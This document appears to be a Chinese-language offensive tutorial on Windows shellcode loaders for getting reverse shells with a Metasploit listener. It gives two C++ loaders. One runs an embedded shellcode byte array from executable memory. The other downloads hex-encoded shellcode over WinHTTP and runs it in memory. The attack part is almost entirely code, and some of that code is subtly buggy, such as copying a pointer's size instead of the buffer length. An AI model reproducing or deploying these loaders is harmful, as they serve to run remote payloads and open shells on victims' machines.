

下载shellcode

shellcode地址: https://github.com/clinicallyinane/shellcode_launcher/

反弹shell

设置msfconsole监听



监听

记住payload要设置对,反正反弹的shell接收不了

然后用shell执行我们生成的木马就可以反弹shell了



```
1 #include "stdafx.h"
2 #include "windows.h"
3
4 using namespace std;
5 int main(int argc, char **argv)
6 {
7     unsigned char buf[] =
8         "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
9         "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
10        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
11        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
12        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
13        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
14        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
15        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
16        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
17        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
18        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
19        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
20        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
21    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
22    memcpy(exec, buf, sizeof buf);
23    ((void(*)())exec)();
24    return 0;
25 }
```

如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode, 而不是事先讲shellcode写死在程序中

举例: shellcode从文本提取或从远程下载获取。

这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组, 动态分配内存执行shellcode:

```
1 #include "stdafx.h"
2 #include <string>
3 #include <iostream>
4 #include <windows.h>
5 #include <winhttp.h>
6 #pragma comment(lib, "winhttp.lib")
7 #pragma comment(lib, "user32.lib")
8 using namespace std;
9 void main()
10 {
```

```

11     DWORD dwSize = 0;
12     DWORD dwDownloaded = 0;
13     LPSTR pszOutBuffer = NULL;
14     HINTERNET hSession = NULL,
15         hConnect = NULL,
16         hRequest = NULL;
17     BOOL bResults = FALSE;
18     hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
19 WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
20     if (hSession)
21     {
22         hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT,
23 0);
24     }
25     if (hConnect)
26     {
27         hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1",
28 WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
29     }
30     LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
31     SIZE_T len = lstrlenW(header);
32     WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
33     if (hRequest)
34     {
35         std::string data = "name=host&sign=xx11sad";
36         const void *ss = (const char *)data.c_str();
37         bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss),
38 data.length(), data.length(), 0);
39         ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS,
40 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
41     }
42     if (bResults)
43     {
44         bResults = WinHttpReceiveResponse(hRequest, NULL);
45     }
46     if (bResults)
47     {
48         do
49         {
50             // Check for available data.
51             dwSize = 0;
52             if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
53             {
54                 printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
55                 break;
56             }
57             if (!dwSize)
58                 break;
59             pszOutBuffer = new char[dwSize + 1];
60             if (!pszOutBuffer)
61             {
62                 printf("Out of memory\n");
63                 break;
64             }
65             ZeroMemory(pszOutBuffer, dwSize + 1);
66             if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
67             {
68                 printf("Error %u in WinHttpReadData.\n", GetLastError());
69             }
70             else
71             {
72                 printf("ok");
73             }
74             //char ShellCode[1024];
75             int code_length = strlen(pszOutBuffer);
76             char* ShellCode = (char*)calloc(code_length / 2 , sizeof(unsigned char));
77

```

```
80         for (size_t count = 0; count < code_length / 2; count++){
81             sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
82             pszOutBuffer += 2;
83         }
84         printf("%s", ShellCode);
85         //strcpy(ShellCode,pszOutBuffer);
86         void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
87         memcpy(exec, ShellCode, sizeof ShellCode);
88         ((void(*)())exec)();
89         delete[] pszOutBuffer;
90         if (!dwDownloaded)
91             break;
92     } while (dwSize > 0);
93 }
94 if (hRequest) WinHttpCloseHandle(hRequest);
95 if (hConnect) WinHttpCloseHandle(hConnect);
96 if (hSession) WinHttpCloseHandle(hSession);
97 system("pause");
98 }
```